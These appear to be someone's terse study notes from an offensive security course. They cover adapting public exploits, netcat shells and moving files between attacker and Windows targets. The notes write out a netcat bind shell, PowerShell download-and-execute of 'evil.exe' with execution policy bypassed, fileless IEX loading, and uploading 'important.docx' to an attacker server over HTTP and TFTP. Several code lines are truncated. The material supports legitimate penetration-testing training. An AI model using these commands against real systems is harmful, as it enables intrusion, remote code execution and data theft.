Fixing Memory Corruption Exploits
searchsploit -m 42341
copy the exploit
Cross-Cpmpiling the Exploit Code
mingw-64 a cross-compiler
sudo apt install mingw-w64
Changing the Socket Information
Change the payload
Fix Web Exploits
make sure the certificate is ignored if face certificate check failed
python request The official documentation394 indicates that the SSL certificate will be ignored if we set the verify
parameter to False
File Transfers
non-interactive shell
on client, we open a listening shell: nc -nvlp 4444 -e /bin/bash
in attack machine, connect to it nc -nv xxx.xx.xx.xxx 4444
if we run ftp, we lose the interaction, input not binded correctly
upgrading the non-interactive shell
nc -nvlp 4444 -e /bin/bash
nc -nv 192.168.148.44 4444
python -c ‘import pty; pty.spawn(“/bin/bash”)’
get a bash prompt, get the pty shell, good
Transfer file with windows hosts
Non-interative ftp download
sudo cp /usr/share/windows-resources/binaries/nc.exe /ftphome/
home directory of ftp is set to /ftphome/
1 | C:\Users\offsec>echo open 10.11.0.4 21> ftp.txt |
-v to suppress any returned output, -n to suppresses automatic
login, and -s to indicate the name of our command file.
Windows Downloads using scripting languages
Use vb script
1 | echo strUrl = WScript.Arguments.Item(0) > wget.vbs |
C:\Users\Offsec> cscript wget.vbs http://10.11.0.4/evil.exe evil.exe
Use powershell :
1 | C:\Users\Offsec> echo $webclient = New-Object System.Net.WebClient >>wget.ps1 |
1 | C:\Users\Offsec> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive - |
First, we must allow execution of PowerShell scripts (which is restricted by default) with the -
ExecutionPolicy keyword and Bypass value. Next, we will use -NoLogo and -NonInteractive
to hide the PowerShell logo banner and suppress the interactive PowerShell prompt, respectively.
The -NoProfile keyword will prevent PowerShell from loading the default profile (which is not
needed), and finally we specify the script file with -File:
one line version
1 | C:\Users\Offsec> powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.11.0.4/evil.exe', 'new-exploit.exe') |
1 | C:\Users\Offsec> powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://10.11.0.4/helloworld.ps1') |
download and execute without save to disk
Download with exe2hex and powershell
upx -9 nc.exe
compress the binary fileexe2hex -x nc.exe -p nc.cmd
pipling the file into clipboard:
1 | cat nc.cmd | xclip -selection clipboard |
oaste it into the non-interactive shell
windows upload using windows scripting language
host a upload http server
1 | <?php |
sudo mkdir /var/www/uploads
sudo chown www-data: /var/www/uploads
1 | powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx') |
Uploading Files with TFTP
xp, 2003
sudo chown nobody: /tftp
sudo atftpd –daemon –port 69 /tftp
in windows:
tftp -i 10.11.0.4 put important.docx